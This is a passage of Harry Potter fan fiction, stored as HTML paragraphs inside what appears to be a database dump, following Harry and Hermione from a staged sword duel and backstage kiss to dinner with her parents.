he\ncrisscrossed his swords in front of him.&nbsp;\nThe spell hit the blades and bounced backwards, heading directly for\nNarune.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Noooooooo!!!&#8221; The blast sent him flying backwards, and he\nslammed into the side of the platform, proceeding to fall flat on his back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry raced over before he could recover and stood over the\nman with his blades aimed directly at his chest.&nbsp; Hermione watched the exchange with wide eyes and finally\nunderstood Harry&#8217;s actions.&nbsp; He&#8217;d\ndeliberately let himself get hit; then when Narune had gone to finish him off,\nhe&#8217;d cast a mirror or reflection spell on his swords, which sent the cyclone\nback to its source, taking Narune completely by surprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yield Narune, or die where you are!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will never yield to the likes of you!&#8221; he spat back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then so be it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry no!&#8221; Hermione cried, but it was too late.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Narune opened his eyes to find that he was still alive &#8211;\nalthough in a great deal of pain.&nbsp; Harry&#8217;s\nswords were imbedded in each of his shoulders, impaling him to the ground (in\nreality they were not more than inch under his arm driven straight into the\nground).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, even if you deserve it, I will not kill a helpless\nhuman being &#8211; even one as pitiful as you, Lord Narune.&nbsp; I want you to live with the shame knowing\nthat you lost to man who is your better.&nbsp;\nKnow that you shall never have Lady Hermione as long as I draw breath.&nbsp; You are a disgrace to your title, and your\nmen have abandoned you.&nbsp; Live with the\nshame of knowing what your greed has cost you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped back, leaving his opponent to lapse into\nunconscious.&nbsp; He took several deep\nbreaths, and his eyes flashed towards the audience.&nbsp; They were on the edge of their seats, and several had shocked\nexpressions on their faces as seeing what he&#8217;d done (or more likely&#8230;what he\nhadn&#8217;t done).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He turned to see Hermione racing towards him.&nbsp; She launched herself into his arms, and he\nwrapped his strong arms around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you all right, my angel?&#8221; he asked and combed his\nfingers through her brown curls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine, my hero.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s arms tightened around her, and he drew her\nclose.&nbsp; Hermione framed his face in her\nsmall hands, and he leaned down towards her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you,&#8221; she sighed and closed her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As I love you,&#8221; and their lips touched.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The audience gave them a thunderous ovation, but the lovers\nwere oblivious to everything but each other.&nbsp;\nHermione was busy stroking the back of his mouth with her tongue, while\nHarry was preoccupied with drinking in her delectable sweetness.&nbsp; You could hear catcalls and whistles coming\nfrom the crowd; one of who belonged to Ron Weasley.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The curtain drew closed with the duo still locked in each\nother&#8217;s arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Five minutes later, Harry finally let Hermione&#8217;s mouth go,\nand he took a much-needed breath.&nbsp; They\nwere both flushed, and their hearts were pounding rapidly.&nbsp; She nuzzled her face against his neck, and\nhe tangled his fingers in her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem!&#8221; They turned as Marcus cleared his throat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry if we got a little carried away,&#8221; Hermione admitted,\nblushing slightly.&nbsp; The four men\nactually started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not at all, it was quite &#8216;entertaining&#8217;,&#8221; Lawrence quipped\nwith a wide grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You two did wonderfully; you&#8217;d almost think you&#8217;d been doing\nthis every night,&#8221; Thomas complimented.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, we&#8217;d hoped we wouldn&#8217;t mess up the whole\nperformance,&#8221; Harry admitted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course not, we haven&#8217;t a show this successful in a long\ntime,&#8221; Justin answered with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s quite right, Harry Potter,&#8221; a voice said from behind\nthem.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both Harry and Hermione turned to see Viktor Krum\napproaching them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Viktor, it&#8217;s good to see you again,&#8221; Harry stated, trying\nto hide the strain in his voice.&nbsp;\nDespite his &#8216;reputation&#8217;, he always felt rather outclassed in the young\nman&#8217;s presence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Vell, I must commend you both.&nbsp; I see you&#8217;ve grown even lovelier, Hermione,&#8221; he sighed happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She blushed at his compliment, and Harry felt his gut\ntighten.&nbsp; Viktor always knew what to say\nto charm people&#8217;s socks off.&nbsp; To his\ngreat surprise however, Hermione leaned her head onto his chest and hugged him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, Harry often reminds me of that,&#8221; she\ngiggled.&nbsp; Her lover suddenly felt much\nmore relaxed, and he looked down at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As I should, sweetheart, you get more beautiful everyday,&#8221;\nhe cooed softly.&nbsp; She batted her long\nlashes at him, and her eyes twinkled.&nbsp;\nThey told him that she would reward him quite handsomely for that\ncompliment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Viktor was taken by surprise at the intimacy the two\nshared.&nbsp; It was incredible how they\ncould tune out everything around them except each other, and he suddenly felt\nvery envious of Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, I believe that we all should get changed\nnow.&nbsp; I&#8217;m sure that Harry and Hermione\nhave friends and family waiting for them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The pair looked at one another.&nbsp; They&#8217;d almost completely forgotten about Ron and Lavender!&nbsp; Quickly separating, they returned to their\ndressing rooms to change back into their street clothes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Marcus and Viktor remained behind the others.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t know you knew those two,&#8221; Marcus prodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I met them back during my fifth year of\nschooling.&nbsp; I was quite interested in\nHermione back then, and although she was quite flattered by my advances, I\ncould tell that her thoughts and her heart always belonged to her best friend,\nHarry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, sounds like you were fighting for a lost cause.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That I was, my friend, that I was,&#8221; and the two men started\nlaughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry removed his armor and carefully handed it to Lawrence\nto be put away.&nbsp; He hadn&#8217;t worn it that\nlong, but he&#8217;d become quite attached to the ensemble.&nbsp; Pulling on his black jeans, he looped his t-shirt over his head,\nand it dropped around his waist.&nbsp;\nRunning his hand through his hair, he thanked each of his fellow actors\nfor a wonderful evening before departing outside to wait for Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione slipped out of her dress with the old woman&#8217;s help,\nand she washed the excess makeup off her face.&nbsp;\nWith a resounding sigh, she quickly put on her street clothes and looked\nherself in the mirror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmmph, I guess being a princess can&#8217;t last forever,&#8217; she\nsaid silently.&nbsp; She turned towards the\nelder woman who had helped her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, ma&#8217;am, I had a wonderful time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not a all, my dear, I was happy to help; you did a\nwonderful job &#8211; not to mention that boyfriend of yours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, he is pretty amazing,&#8221; she giggled.&nbsp; The old woman&#8217;s face crinkled as she smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d hang onto that one, sweetie, he&#8217;s a rare find indeed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, he&#8217;s one of a kind!&#8221; Hermione eyed the dress that she&#8217;d\nworn for only a few short hours and sighed softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now don&#8217;t fret, the dress isn&#8217;t everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry?&#8221; Hermione asked confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see the look in your eyes, my dear.&nbsp; Just remember, clothes make a woman pretty,\nbut a good heart makes any woman a princess.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes lit up, and she couldn&#8217;t resist, giving the\nold woman a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you so much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thanks needed.&nbsp;\nYou better get going before Harry comes looking for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, goodbye now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodbye.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione reunited in the tunnel leading back\noutside to the carnival.&nbsp; Their hands\nentwined, and smiles adorned their faces.&nbsp;\nHarry grinned as he raised her hand and kissed it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Milady, may I escort you?&#8221; His eyes glittered\nmischievously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, my lord, it would be my pleasure.&#8221; They laughed\nall the way back out of the tunnel.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There they are!&#8221; Ron gasped as he saw his two best friends\nemerge from the side of the main tent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Ron,&#8221; Harry called.&nbsp;\nHe and Lavender had been waiting for them to come out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So the stars of the show have finally arrived,&#8221; Lavender\nchuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did we do?&#8221; Hermione asked anxiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You guys were great &#8211; up until the end,&#8221; Ron said; his\nvoice lowering steadily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; Harry asked.&nbsp; His friend grinned wryly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh nothing, just that you two were about to burn the place\ndown with that kiss.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re terrible!&#8221; Hermione cried as her cheeks tinted.&nbsp; They all laughed at the joke and enjoyed the\ncomradery they all shared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, I know, why don&#8217;t we all grab something to eat?&#8221; Ron\nadvised.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Always thinking with your stomach, eh Weasley?&#8221; Lavender\nteased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do not!&#8221; His girlfriend giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Normally, that would be great, Ron, but Harry and I have to\nmeet my parents for dinner,&#8221; Hermione stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You never told me that!&#8221; Harry gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cause I knew that you&#8217;d worry about it all day.&#8221; He shut-up\nimmediately; sometimes, she knew him too well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess we better say goodbye then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave Ron a hug, and Hermione gave him a kiss on the\ncheek.&nbsp; She hugged Lavender goodbye, and\nHarry gave her a gentle squeeze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye, you guys, we&#8217;ll see you in couple of weeks,&#8221; Ron\ncalled as he and Lavender headed towards the food court.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione leaned against Harry&#8217;s shoulder, and his arm\nencircled her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, we better get going; my parents should be home\nshortly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, whatever you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They walked hand in hand back to the entrance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After exiting the carnival, the pair headed back around the\nside to the tree that they&#8217;d initially arrived at.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, thank you for bringing me here today; I had a lot of\nfun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So did I, Herm, now I see why you love it so much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Reaching into the knothole, Harry drew out his invisibility\ncloak, and Hermione checked to make sure they were alone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All clear, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With a flick of his wrist, he snapped the cloak over them,\nand the two disappeared.&nbsp; Harry felt\nHermione&#8217;s arms wrap around him, and he held onto her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, let&#8217;s go home.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A small pop was heard, and they disappeared into the night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 10, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was quite surprised when she and Harry apparated\nonto her front porch.&nbsp; Quickly scanning\nthe area, he lifted off the invisibility cloak, and the pair reappeared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, what are we doing out here?&nbsp; Why didn&#8217;t you just bring us inside?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wasn&#8217;t sure when your parents were coming home, and I\ndidn&#8217;t think they&#8217;d like it if we just popped into their living room without\nany warning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see your point.&#8221; Hermione turned her head towards the\ndriveway, but her parent&#8217;s car wasn&#8217;t there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um Harry&#8230;I didn&#8217;t bring my house keys with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on, the great Hermione Granger doesn&#8217;t need keys to\nopen a lock.&nbsp; Remember first year?&#8221;\nHarry asked and raised his eyebrows.&nbsp;\nShe just glared at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Course I remember, you jerk, but I don&#8217;t have my wand with\nme!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who says you need a wand?&#8221; Harry turned her towards the\ndoor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione suddenly became very nervous; she&#8217;d never been able\nto magic without her wand before.&nbsp; She\ntried it once, and it had failed miserably.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, I can&#8217;t do this,&#8221; she pleaded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, you can,&#8221; he put his hands on her shoulders, &#8220;Now\nclose your eyes and focus.&nbsp; Raise your\nhand towards the door.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She did as he instructed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&nbsp; Now, try and\nimagine that you&#8217;re using your hand as a wand instead.&nbsp; Concentrate your spell through it.&nbsp; See the magic leave your hand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221; Harry hugged her gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know you can do this, sweetheart, just trust yourself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione swallowed the lump in her throat and calmed herself\ndown.&nbsp; She could do this!&nbsp; Pointing her hand towards the door, she\nconcentrated on the words she knew by heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Alohomora!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The latch came undone, and the lock retracted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did it!&#8221; she said ecstatically.&nbsp; Spinning around, she jumped into Harry&#8217;s arms and hugged him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whoa, easy there!&#8221; he chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry, I can&#8217;t believe I did magic without my wand.&nbsp; The last time I tried it &#8211; nothing\nhappened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe you just needed a little encouragement.&nbsp; I knew you could do it, and now, so do you.&#8221;\nHe kissed her forehead and smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This day was getting better by the minute as far as Hermione\nwas concerned.&nbsp; Opening her front door,\nHarry followed her inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s parents came home about a half-hour later.&nbsp; Harry had volunteered to make dinner again &#8211;\nwith Hermione&#8217;s help of course, but Melinda Granger had immediately shooed him\nout of her kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So, Harry and Hermione had elected to head into the\nbackyard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two were flopped out on the grass; the dusky sky sent a\nrainbow of colors across the horizon.&nbsp;\nHarry lay with hands behind his head, watching the clouds roll by.&nbsp; Hermione was by his side; her right forearm\ndraped over her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart?&#8221; he whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; she replied without moving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned on his side.&nbsp;\nPlucking out a few blades of grass, he ran them teasingly up her\narm.&nbsp; Hermione flinched slightly but\nignored the sensation.&nbsp; However, when\nHarry brushed the tip of her nose, she swatted at the annoying object, while\ntrying not to laugh.&nbsp; She turned to face\nhim and propped herself up on her right elbow.&nbsp;\nHarry reached out and brushed a few stray hairs off her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad you invited me here, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I&#8217;m glad you came, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s times like this when I finally have an answer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; she asked rather confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An answer to the question, is it all worth it?&nbsp; Was the loss of my parents and my friends\ntruly worth it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry.&#8221; Hermione had never realized how deep his\nconvictions were.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All I can say is&#8230;that if I can have more moments like this\nwith you&#8230;then I&#8217;ll gladly face a hundred Voldemorts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry lay back down, and Hermione scooted closer to\nhim.&nbsp; She laid her head on his chest,\nand his arms surrounded her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve earned this happiness, Harry, don&#8217;t ever let anyone\nelse tell you otherwise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not a chance, my angel,&#8221; he sighed and kissed her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">From the kitchen window, Melinda Granger could clearly see\nthe pair outside.&nbsp; Her eyes surveyed the\nway Harry handled her daughter &#8211; such tenderness he possessed.&nbsp; He couldn&#8217;t not love her and be that\ncompassionate.&nbsp; Though it had only been\nfor a few months, Melinda had come to care very much for Harry.&nbsp; The young man possessed an unusual\naura.&nbsp; He could win over anybody with\nhis charm, but it never went to his head.&nbsp;\nHe was both humble and modest; never had she met a teenager who was as\nunselfish as Harry Potter.&nbsp; Most of all,\nhe had brought a new life into her daughter&#8217;s eyes.&nbsp; Hermione had always been a bit shy around boys, but she could\nalways talk to Harry.&nbsp; He was her best\nfriend, and that was why they fell in love.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A strong hand on her shoulder brought her out of her\nthoughts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; her husband asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh nothing,&#8221; Melinda sighed, noticing that her eyes were\nquite moist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Talk to me, sweetie, what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing&#8217;s wrong, John, it&#8217;s just that&#8230;I&#8217;m beginning to see\nwhy Hermione chose Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I agree.&nbsp; I think\nthat boy would go to hell and back for our daughter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think he already has,&#8221; his wife laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So why the tears then?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My daughter&#8217;s growing up.&nbsp;\nCan&#8217;t a mother cry over that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Melinda.&#8221; John Granger hugged his wife gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe I&#8217;m about to say this, but we have to let\nher go sometime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re right, and I don&#8217;t think I could&#8217;ve picked someone\nwho&#8217;s as perfect for Hermione myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Twenty minutes later, Melinda Granger called in the young\nlovers.&nbsp; They joined Hermione&#8217;s parents\nat the table and took their seats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So Hermione, I forgot to ask you how the carnival was?&#8221; her\nmother inquired.&nbsp; Her daughter tried\nhard not to laugh, and Harry had to stifle a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was wonderful, mom, we even met some of our old friends\nthere!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&nbsp; Who did you\nsee?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We ran into Ron Weasley and his brothers, Fred and\nGeorge.&nbsp; We also saw my roommate\nLavender there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, I remember you mentioning them before,&#8221; her father\nstated. &#8220;Didn&#8217;t you say that they were quite the accomplished pranksters?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, they even had a booth set up with all of their things\nto play practical jokes on people, but it couldn&#8217;t have topped what Ron was\ndoing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what was that?&#8221; Melinda asked, noting the way Harry and\nHermione were looking intently at one another.&nbsp;\nThe two suddenly burst out laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8230;he was in the dunk tank!&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness!&#8221; Mrs. Granger 